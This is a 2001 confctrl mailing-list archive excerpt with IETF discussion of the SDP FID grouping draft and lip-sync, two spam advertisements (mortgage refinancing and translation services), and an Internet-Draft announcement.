X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Orit Levin <orit@radvision.com>
CC: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Joerg Ott <jo@ipdialog.com>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: Re: New version of FID. WAS (Re: FID Draft - again)
References: <0D5BBF5D638DD4119E3400508BD949454ED325@RADVPOST>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 3. In the example (which is really just an example) only a single audio
> stream (the native language of the speaker) is coupled with the media stream
> by using MID. All the rest should not be synchronized.

One could argue (I did not do so in my initial reply and I'd be happy not
to fight over this one) that whether or not applying lip-sync here does
not make that big a difference in terms of endpoint requirements (you'd
do it if this was the right stream) or processing (you are getting only
one audio stream anyway).  So why are you worried at all?
The worst thing to happen is that you get your audio at the same time
as all those listening to the original speaker (instead of a translator),
which might be a couple of milliseconds earlier as opposed to waiting for
the video.  Well...

There is one further possible difference though: if you have the original
speaker's audio and video (originating e.g. from the same machine) you
don't have to have NTP wallclock time (or some other synch'ed time)
between all the translators' RTP senders and the original speaker.

(But what if you have different original speakers with different languages?
I suppose your conferencing server is to deal with this kind of nastyness)

I also don't feel strongly about this particular issue.  However, I do on
the overall document and, as Jonathan already pointed out, there is still
some work to do.  More comments to follow.

Joerg

From confctrl-owner  Sat Jun 23 06:47:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA01643
	for confctrl-outgoing; Sat, 23 Jun 2001 06:47:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA01638
	for <confctrl@zephyr.isi.edu>; Sat, 23 Jun 2001 06:46:59 -0700 (PDT)
Received: from halcyon.rmci.net (halcyon.rmci.net [205.162.184.63])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f5NDl1205248
	for <confctrl@isi.edu>; Sat, 23 Jun 2001 06:47:02 -0700 (PDT)
Message-Id: <200106231347.f5NDl1205248@tnt.isi.edu>
Received: (qmail 25953 invoked from network); 23 Jun 2001 13:46:57 -0000
Received: from c2t2-178.015.popsite.net (HELO localhost) (216.126.185.178)
  by mx20.rmci.net with SMTP; 23 Jun 2001 13:46:57 -0000
X-Sender: loanwiz@amerimall.com
From: LoanWiz <loanwiz@amerimall.com>
To: "Mortgage-Refinance Special" <loanwiz@amerimall.com>
Date: Sat, 23 Jun 2001 06:49:40 -0700
Subject: Mortgage-Refinance Special
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__42864255_24580.91"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a Multipart MIME message.

------=_NextPart_000_001__42864255_24580.91
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit


------=_NextPart_000_001__42864255_24580.91
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: base64

DQoNCjxIVE1MPg0KDQo8aGVhZD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIg
Q09OVEVOVD0idGV4dC9odG1sO2NoYXJzZXQ9aXNvLTg4NTktMSI+DQo8IURPQ1RZUEUgSFRN
TCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wIFRyYW5zaXRpb25hbC8vRU4iPg0KPFRJ
VExFPkZyZWUgUmF0ZSBRdW90ZTwvVElUTEU+DQo8TUVUQSBjb250ZW50PSJ0ZXh0L2h0bWw7
IGNoYXJzZXQ9aXNvLTg4NTktMSIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+PFhNRVRBIA0K
Y29udGVudD0iTW96aWxsYS80LjcgW2VuXSAoV2luOTg7IEkpIFtOZXRzY2FwZV0iIG5hbWU9
IkdFTkVSQVRPUiI+DQo8TUVUQSBjb250ZW50PSJNaWNyb3NvZnQgRnJvbnRQYWdlIDQuMCIg
bmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwvSEVBRD4NCjxCT0RZIGJhY2tn
cm91bmQ9aHR0cDovLzIxMy4xOTYuMzUuMTk5L21vbmV5X2dyLmpwZyBiZ0NvbG9yPSNmZmZm
ZmYgYmdwcm9wZXJ0aWVzPSJmaXhlZCI+DQo8RElWIHN0eWxlPSJGT05UOiAxMHB0IGFyaWFs
Ij4NCjxESVY+Jm5ic3A7PC9ESVY+PC9ESVY+DQo8RElWPjxCUj48L0RJVj4NCjxQIGFsaWdu
PWNlbnRlcj48ZW0+PGI+PGZvbnQgY29sb3I9IiNmZjAwMDAiIHNpemU9IjYiPiZxdW90O1Jl
ZmluYW5jaW5nIFlvdXINCkN1cnJlbnQgTW9ydGdhZ2UgTWFrZXMgJGVuc2UhJnF1b3Q7PC9m
b250PjwvYj48L2VtPjwvUD4NCjxwIGFsaWduPSJjZW50ZXIiPjxiPjxmb250IHNpemU9IjQi
Pk1vcnRnYWdlIFJhdGVzIEFyZSBTbyBMb3chJm5ic3A7PC9mb250PjwvYj48L3A+DQo8cCBh
bGlnbj0iY2VudGVyIj48Yj48Zm9udCBzaXplPSI0Ij5Zb3UgQ2FuIFNhdmUgVGhvdXNhbmRz
IE9mIERvbGxhcnMgQnkgVGFraW5nDQpBZHZhbnRhZ2UgTm93ITwvZm9udD48L2I+PC9wPg0K
PFAgYWxpZ249Y2VudGVyPjxFTT48Qj48Rk9OVCBjb2xvcj0jZmYwMDAwIHNpemU9NT4mcXVv
dDtXRSBBUkUgQU4gQVNTT0NJQVRJT04gT0YNCk1PUlRHQUdFIEJST0tFUlMgQU5EIExFTkRF
UlMgPC9GT05UPjwvQj48L0VNPjwvUD4NCjxQIGFsaWduPWNlbnRlcj48RU0+PEI+PEZPTlQg
Y29sb3I9I2ZmMDAwMCBzaXplPTU+V0lUSCBUSEUgQkVTVCBSQVRFUyBBTkQgVEhFIExPV0VT
VA0KQ09TVFM8L0ZPTlQ+PC9CPjwvRU0+PC9QPg0KPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7
PC9wPg0KPFAgYWxpZ249Y2VudGVyPjxGT05UIGNvbG9yPSMwMDAwZmYgc2l6ZT00PjxCPldl
Jm5ic3A7aGF2ZSB0aG91c2FuZHMgb2YgbG9hbiANCnByb2dyYW1zIHRocm91Z2ggaHVuZHJl
ZHMgb2YgbGVuZGVycyE8QlI+PC9CPjwvRk9OVD48Rk9OVCBzaXplPTM+PC9GT05UPjwvUD4N
CjxQIGFsaWduPWNlbnRlcj48U1RST05HPjxGT05UIHNpemU9NT5Zb3UgY2FuIGNob29zZSBm
cm9tJm5ic3A7IkFkanVzdGFibGUgUmF0ZQ0KTW9ydGdhZ2VzIA0KYXMgbG93IGFzIDMuOTUl
JnF1b3Q7PC9GT05UPjwvU1RST05HPjwvUD4NCjxQIGFsaWduPWNlbnRlcj48U1RST05HPjxG
T05UIHNpemU9NT5hbmQmbmJzcDsiRml4ZWQgUmF0ZSBNb3J0Z2FnZXMgYXMgbG93IGFzDQo2
LjUwJSZuYnNwOzwvRk9OVD48L1NUUk9ORz48L1A+DQo8UCBhbGlnbj1jZW50ZXI+PFNUUk9O
Rz48Rk9OVCBzaXplPTU+YWxsIHdpdGggdGhlIGxvd2VzdCBjb3N0cyBpbiB0aGUNCk5hdGlv
biEmcXVvdDs8L0ZPTlQ+PC9TVFJPTkc+PEJJRz48QklHPjxGT05UIGNvbG9yPSNmZjAwMDA+
KjwvRk9OVD48L0JJRz48L0JJRz48L1A+DQo8UCBhbGlnbj1jZW50ZXI+PEZPTlQgDQpzaXpl
PTU+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZxdW90OzxiPjxpPllPVSBDQU4gPHU+QlVZIERP
V04gWU9VUiBJTlRFUkVTVCBSQVRFPC91Pg0KVE88L2k+PC9iPjwvZm9udD48L0ZPTlQ+PC9Q
Pg0KPFAgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPSIjRkYwMDAwIiBzaXplPSI1Ij48Yj48
aT5BUyBMT1cgQVMgWU9VIENBTg0KQUZGT1JEISZxdW90OzwvaT48L2I+PC9mb250PjxGT05U
IA0Kc2l6ZT01PjxCUj48L0ZPTlQ+PEZPTlQgc2l6ZT0zPjwvRk9OVD48L1A+DQo8UCBhbGln
bj1jZW50ZXI+PEZPTlQgc2l6ZT0rMD48Rk9OVCBjb2xvcj0jMDAwMGZmIHNpemU9Mj48QklH
PjxCSUc+PEZPTlQgDQpjb2xvcj0jZmYwMDAwIHNpemU9NT4qPC9GT05UPjwvQklHPjxTVFJP
Tkc+QWxsIHJhdGVzIGFyZSBiYXNlZCBvbiANCnF1YWxpZmljYXRpb248L1NUUk9ORz4hPC9C
SUc+PC9GT05UPjwvRk9OVD48L1A+DQo8UCBhbGlnbj1jZW50ZXI+PEZPTlQgc2l6ZT0rMD48
Rk9OVCBzaXplPTI+PEJJRz48L0JJRz48L0ZPTlQ+PEZPTlQgDQpjb2xvcj0jMDAwMGZmPjxG
T05UIGZhY2U9QXJpYWw+PEZPTlQgc2l6ZT0yPjxBIGhyZWY9Imh0dHA6Ly8yMTMuMTk2LjM1
LjE5OSIgDQp0YXJnZXQ9X2JsYW5rPjxGT05UIHNpemU9NT48U1RST05HPjxGT05UIGZhY2U9
IlRpbWVzIE5ldyBSb21hbiI+Q2xpY2sgaGVyZSBmb3IgDQp5b3VyIDwvRk9OVD48Rk9OVCBz
aXplPTY+PEZPTlQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIj48RU0+IkZSRUUgUkFURSANClFV
T1RFIiE8L0VNPjwvRk9OVD48L0ZPTlQ+PC9TVFJPTkc+PC9GT05UPjwvQT48L0ZPTlQ+PC9G
T05UPjwvRk9OVD48L0ZPTlQ+PC9QPg0KPFAgYWxpZ249bGVmdD4mbmJzcDs8L1A+DQo8UCBh
bGlnbj1sZWZ0PjxpPjxiPjxmb250IGZhY2U9IkFyaWFsIiBzaXplPSIrMCI+Q0xJQ0sgT04g
TE9BTlMgQkVMT1cgRk9SIFlPVVINCkZSRUUgQVBQTElDQVRJT04hPC9mb250PjwvYj48L2k+
PEZPTlQgZmFjZT1BcmlhbD48QlI+PC9GT05UPjwvUD4NCjxQIGFsaWduPWxlZnQ+PFNUUk9O
Rz48RU0+PEEgaHJlZj0iaHR0cDovLzIxMy4xOTYuMzUuMTk5IiANCnRhcmdldD1fYmxhbms+
PGZvbnQgc2l6ZT0iNSIgY29sb3I9IiM4MDAwODAiPlB1cmNoYXNlIExvYW5zPC9mb250Pjwv
QT4gPEZPTlQgc2l6ZT01Pg0KPC9GT05UPiA8L0VNPjxGT05UIA0Kc2l6ZT00Pi0gPEVNPlRo
b3VzYW5kcyBvZiBwcm9ncmFtcyANCmZvciBGaXJzdCBNb3J0Z2FnZXMhPC9FTT48L0ZPTlQ+
PEk+PC9JPjwvU1RST05HPjxJPjxGT05UIA0KY29sb3I9IzAwMDAwMD48QlI+PEJSPjwvRk9O
VD48L0k+PEEgaHJlZj0iaHR0cDovLzIxMy4xOTYuMzUuMTk5IiBfYmxhbms/PjxFTT48U1RS
T05HPjxmb250IHNpemU9IjUiIGNvbG9yPSIjODAwMDgwIj5SZWZpbmFuY2UgTG9hbnM8L2Zv
bnQ+PC9TVFJPTkc+PC9FTT48ST48Rk9OVCANCmNvbG9yPSMwMDAwMDAgc2l6ZT0yPiA8L0ZP
TlQ+PC9JPjwvQT48ST48Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9ND4tIDxCPlJlZHVjZSB5
b3VyIA0KbW9udGhseSBwYXltZW50cyBhbmQ8L0ZPTlQ+PEZPTlQgY29sb3I9IzAwMDAwMCBz
aXplPTI+IDwvRk9OVD48Rk9OVCANCmNvbG9yPSNmZjAwMDAgc2l6ZT01PkdldCBDYXNoIEJh
Y2shPC9GT05UPjwvQj48Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9ND4gDQo8L0ZPTlQ+PEZP
TlQgY29sb3I9IzAwMDAwMCBzaXplPTM+PEJSPjxCUj48L0ZPTlQ+PC9JPjxBIA0KaHJlZj0i
aHR0cDovLzIxMy4xOTYuMzUuMTk5IiB0YXJnZXQ9X2JsYW5rPjxmb250IGNvbG9yPSIjODAw
MDgwIj48RU0+PEI+PEZPTlQgc2l6ZT01PlNlY29uZCANCk1vcnRnYWdlczwvRk9OVD48L0I+
PC9FTT48ST48Rk9OVCBzaXplPTM+IDwvRk9OVD48L0k+DQo8L2ZvbnQ+IDwvQT48ST48Rk9O
VCBjb2xvcj0jMDAwMDAwIHNpemU9Mz4gLSA8L0ZPTlQ+PEI+PEZPTlQgDQpjb2xvcj0jMDAw
MDAwIHNpemU9ND5XZSBjYW4gaGVscCB5b3UgZ2V0IGZyb20gPC9GT05UPjxGT05UIGNvbG9y
PSNmZjAwMDAgDQpzaXplPTU+OTAlPC9GT05UPjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT00
PiB1cCB0byA8L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCANCnNpemU9NT4xMjUlPC9GT05U
PjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT00PiBvZiB5b3VyIGhvbWVzIHZhbHVlISAocmF0
aW9zIHZhcnkgDQpieSBzdGF0ZSk8L0ZPTlQ+PC9CPjwvUD4NCjxQIGFsaWduPWxlZnQ+PEEg
aHJlZj0iaHR0cDovLzIxMy4xOTYuMzUuMTk5IiANCnRhcmdldD1fYmxhbms+PEI+PGZvbnQg
c2l6ZT0iNSIgY29sb3I9IiM4MDAwODAiPkRlYnQgQ29uc29saWRhdGlvbjwvZm9udD48L0I+
PC9BPjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT0zPiA8Rk9OVCBjb2xvcj0jMDAwMDAwIHNp
emU9ND4tIA0KPEI+Q29tYmluZSA8L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCBzaXplPTU+
YWxsPC9GT05UPjxGT05UIGNvbG9yPSMwMDAwMDAgDQpzaXplPTQ+IHlvdXIgYmlsbHMgaW50
byA8L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCBzaXplPTU+T25lIExvdyBNb250aGx5IA0K
UGF5bWVudCE8L0ZPTlQ+PC9CPjxCUj48QlI+PC9GT05UPjxCPjxBIA0KaHJlZj0iaHR0cDov
LzIxMy4xOTYuMzUuMTk5IiB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9IjUiIGNvbG9yPSIj
ODAwMDgwIj5GaXJzdCBUaW1lIEhvbWUgQnV5ZXJzPC9mb250PjwvQT48Rk9OVCBjb2xvcj0j
MDAwMDAwIHNpemU9Mz4gLSANCjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT00PldlIGNhbiBo
ZWxwIHlvdSBidXkgd2l0aCA8Rk9OVCBjb2xvcj0jZmYwMDAwIA0Kc2l6ZT01PkxvdzwvRk9O
VD48L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCBzaXplPTU+IE1vbmV5IERvd248L0ZPTlQ+
PEZPTlQgDQpjb2xvcj0jMDAwMDAwIHNpemU9ND4sIGFuZCBldmVuIDwvRk9OVD48Rk9OVCBj
b2xvcj0jZmYwMDAwIHNpemU9NT5HZXQgQ2FzaCANCkJhY2shPC9GT05UPjwvRk9OVD48L0I+
PC9QPjwvST4NCjxQIGFsaWduPWNlbnRlcj48QklHPjxCSUc+PEZPTlQgY29sb3I9I2ZmMDAw
MD4qPC9GT05UPjwvQklHPkFsbCByYXRlcyBhcmUgYmFzZWQgDQpvbiBxdWFsaWZpY2F0aW9u
ITwvQklHPjwvUD4NCjxQIGFsaWduPWNlbnRlcj48Qj48ST48Rk9OVCBjb2xvcj0jMDAwMDAw
IHNpemU9Nj5XZSBoYXZlIHByb2dyYW1zIGZvciANCjwvRk9OVD48Rk9OVCBjb2xvcj0jZmYw
MDAwIHNpemU9Nj48VT5FVkVSWTwvVT48L0ZPTlQ+PEZPTlQgY29sb3I9IzAwMDAwMCBzaXpl
PTY+IA0KY3JlZGl0IHNpdHVhdGlvbiE8L0ZPTlQ+PEJSPjxCUj48QSBocmVmPSJodHRwOi8v
MjEzLjE5Ni4zNS4xOTkiIHRhcmdldD1fYmxhbms+PEZPTlQgDQpjb2xvcj0jMDAwMGZmIHNp
emU9NT5DbGljayBoZXJlIGZvciB5b3VyIEZSRUUgUkFURSBRVU9URSE8L0ZPTlQ+PC9BPjwv
ST48L0I+PC9QPg0KPFAgYWxpZ249bGVmdD48Rk9OVCBjb2xvcj0jMDA4MDAwPjxTVFJPTkc+
IA0KSWYgeW91IGZlZWwgdGhhdCB5b3UgaGF2ZSByZWNlaXZlZCB0aGlzIG1lc3NhZ2UgaW4g
ZXJyb3IsIHBsZWFzZSBmb2xsb3cgdGhlIGJlbG93IA0KaW5zdHJ1Y3Rpb25zIGFuZCB5b3Ug
d2lsbCBiZSByZW1vdmVkIGltbWVkaWF0ZWx5LiAgV2UgaW1tZWRpYXRlbHkgaG9ub3IgYWxs
IHJlcXVlc3RzIA0KdG8gYmUgcmVtb3ZlZCBmcm9tIHRoaXMgbGlzdC4gVGhpcyBtZXNzYWdl
IGlzIGJlaW5nIHNlbnQgdG8geW91IGluIGNvbXBsaWFuY2Ugd2l0aCANCnRoZSBGZWRlcmFs
IGxlZ2lzbGF0aW9uIGZvciBjb21tZXJjaWFsIGUtbWFpbCAoSC5SLjQxNzYgLSBTZWN0aW9u
IDEwMSwgIFBhcmFncmFwaCANCihlKSgxKShhKSkgYW5kIEJpbGwgcy4xNjE4IFRpdGxlIElJ
SSBwYXNzZWQgYnkgdGhlIDEwNXRoIFVTIENvbmdyZXNzLiwgZnVydGhlciANCnRyYW5zbWlz
c2lvbnMgdG8geW91IGJ5IHRoZSBzZW5kZXIgb2YgdGhpcyBlLW1haWwgbWF5IGJlIHN0b3Bw
ZWQgYXQgbm8gY29zdCB0byB5b3UgDQpieSBzdWJtaXR0aW5nIGEgcmVxdWVzdCB0byBiZSBy
ZW1vdmVkLiA8YSBocmVmPSJtYWlsdG86Z3JlYXRyYXRlczEwMUBleGNpdGUuY29tP3N1Ympl
Y3Q9UExFQVNFX1JFTU9WRV9NRSFfR1IxMDEiPkNsaWNrIEhlcmUgdG8gU2VuZCBhIFJlbW92
ZSBSZXF1ZXN0PC9hPi4NCk5vIG5lZWQgdG8gdHlwZSBhbnkgbWVzc2FnZS48L1NUUk9ORz48
L0ZPTlQ+PC9QPjwvQk9EWT48L0hUTUw+

------=_NextPart_000_001__42864255_24580.91--


From confctrl-owner  Sun Jun 24 23:38:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA15855
	for confctrl-outgoing; Sun, 24 Jun 2001 23:38:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA15850
	for <confctrl@zephyr.isi.edu>; Sun, 24 Jun 2001 23:38:41 -0700 (PDT)
Received: from linux.coamu.es ([195.57.132.23])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f5P6ch213875
	for <confctrl@isi.edu>; Sun, 24 Jun 2001 23:38:44 -0700 (PDT)
Received: (qmail 27501 invoked from network); 25 Jun 2001 06:47:05 -0000
Received: from dap-209-114-157-6.pri.tnt-1.pgh.pa.stargate.net (HELO H4GXm8169?) (209.114.157.6)
  by linux.coamu.es with SMTP; 25 Jun 2001 06:47:05 -0000
DATE: 25 Jun 01 2:44:28 AM
FROM: billingham59@hongkong.com
Message-ID: <1a45FJU9a29z>
Received: From church@hotmail.com by 781uyt@soho.net;Mon, 25 Jun 2001 2:44:28 -400 (EDT)
SUBJECT: Transcription/Translation Services*
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Attention:  Church Groups/Religious Groups

Attention:  Presidents, Vice-President Managers and Assistants 

Attention:  Marketing Companies, and Online Businesses:

Transcription and Translation Services AVAILABLE WORLDWIDE! 

CALL now for a quote:  (412) 521-9922
24 Hours a day, including Sundays and Holidays.

(PLEASE DO NOT REPLY TO E-MAIL)



            ***  T R A N S L A T I O N  ***

We provide translation to and from ANY language.  (We specialize in web site translations!)  (We make this process EASY for you!)

Making your web site multi-lingual will make a HUGE HUGE difference in your business! (Millions of people live in the US but prefer to speak, read and write in their own language!)  

All indo-European Languages including German, French, Spanish, Portuguese, Russian, Dutch and all others.

ALL indo-Asian languages including Japanese, Chinese, Korean, Vietnamese, and all others.

We use only professional, educated and experienced translators!

Translation services also available for:

*Documents, legal and professional
*E-Mail correspondence
*Technical Documents
*Personal Letters

We use only professional and experienced translators

Web Masters!  We make YOU look good.  Offer our services to your clients now!!

CALL now for a quote:  (412) 521-9922
24 Hours a day, including Sundays and Holidays

(PLEASE DO NOT REPLY TO E-MAIL)



           *** T R A N S C R I P I O N ***

Attention Office Managers, Professors, Teachers, and other Professional Assistants and Pastors

* Let us take your source material (audio, video) and transcribe it into CLEAN, ACCURATE, and PROFESSIONAL text format. 

Transcription services available for: 

*Educational Tool Development
*Legal Documentation
*Government 
*Personal Memo
*Research
*Television
*General Entertainment
*Churches and Religious Groups
*General business
*All transcribers are professional and experienced!

FAST TURN AROUND AND OVERNIGHT BY REQUEST
* Let us take your source material (audio, video) and transcribe it into CLEAN, ACCURATE, and PROFESSIONAL text format. 

(Editing and proofing services available)

CALL now for a quote:  (412) 521-9922
24 Hours a day, including Sundays and Holidays

(PLEASE DO NOT REPLY TO E-MAIL)

To be removed:

Send message with your e-mail address in the subject line to:

rem3377now@joymail.com




From confctrl-owner  Mon Jun 25 11:04:52 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA07772
	for confctrl-outgoing; Mon, 25 Jun 2001 11:04:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA07767
	for <confctrl@zephyr.isi.edu>; Mon, 25 Jun 2001 11:04:52 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5PI4t225789
	for <confctrl@ISI.EDU>; Mon, 25 Jun 2001 11:04:55 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id OAA20100;
	Mon, 25 Jun 2001 14:08:40 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <NGQ5LN7S>; Mon, 25 Jun 2001 14:04:33 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C723@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Orit Levin'" <orit@radvision.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        "'Gonzalo Camarillo'"
	 <Gonzalo.Camarillo@lmf.ericsson.se>,
        Joerg Ott <jo@ipdialog.com>
Cc: mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: RE: New version of FID. WAS (Re: FID Draft - again)
Date: Mon, 25 Jun 2001 14:04:30 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Orit Levin [mailto:orit@radvision.com]
> Sent: Thursday, June 21, 2001 1:23 PM
> To: 'Jonathan Rosenberg'; 'Gonzalo Camarillo'; Joerg Ott
> Cc: Orit Levin; mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU
> Subject: RE: New version of FID. WAS (Re: FID Draft - again)
> 
> 
> I will have some pure editorial comments on the draft that I 
> hope sending to
> the authors later today.
> In regards to Jonathan's comments:
> 1. I fully agree that the description of "how MID attribute 
> may be used
> within SIP" should be defined and standardized. It can be 
> done, it would be
> a useful thing to have, but it is not a part of SDP. Hence I 
> suggest to
> remove the "SIP use" chapter from the draft itself. (BTW I 
> support 1b as a
> part of "SIP use" draft). The draft itself should define the standard
> meaning of the attributes to the applications, not when and how SDP
> descriptors are conveyed using protocols such as SIP.

Well, thats just going to slow things down for little benefit. SIP is not
the same as SDP yet has an appendix on how to use it. I see no reason why we
could not do the same, since, practically speaking, SIP is the main customer
of this extension to SDP.

> 3. In the example (which is really just an example) only a 
> single audio
> stream (the native language of the speaker) is coupled with 
> the media stream
> by using MID. All the rest should not be synchronized.

My point was, you're not listening to all of the others, so why would you
synchronize them? I am basically suggesting that a proper implementation
would do the following:

for all streams that are marked as part of the same FID group, pick one of
them. For those streams which remain, synchronize them.

This implementation would provide the correct lip-sync. 

An alternative, of course, is to mark streams to be lip-synced with the same
CNAME. Streams with different CNAMEs are not synced. This is consistent with
the meaning of CNAME (where the a major usage for it was cross-stream ID for
lip-sync), but not consistent with the way its computation is described,
which is for there to be a single CNAME per host.

Again, I'm not trying to beat it down, I'm just trying to understand the
motivating applications, and understand why some alternatives might not be
acceptable.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Tue Jun 26 04:03:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA11477
	for confctrl-outgoing; Tue, 26 Jun 2001 04:03:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA11471
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jun 2001 04:03:40 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5QB3i212096
	for <confctrl@isi.edu>; Tue, 26 Jun 2001 04:03:44 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27363;
	Tue, 26 Jun 2001 07:03:04 -0400 (EDT)
Message-Id: <200106261103.HAA27363@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-foster-mmusic-vbdformat-00.txt
Date: Tue, 26 Jun 2001 07:03:03 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Voice-Band Data Media Format
	Author(s)	: B. Foster, R. Kumar, F. Andreasen
	Filename	: draft-foster-mmusic-vbdformat-00.txt
	Pages		: 4
	Date		: 25-Jun-01
	
Voice-band data (fax and modem) traffic can often require different 
processing and as such, the ability to specify a different payload 
type when passing this type of traffic is important. This document 
defines a specific 'fmtp' parameter for this purpose.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-foster-mmusic-vbdformat-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-foster-mmusic-vbdformat-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010625111125.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-foster-mmusic-vbdformat-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010625111125.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Jun 26 10:35:15 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA24413
	for confctrl-outgoing; Tue, 26 Jun 2001 10:35:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA24407
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jun 2001 10:35:14 -0700 (PDT)
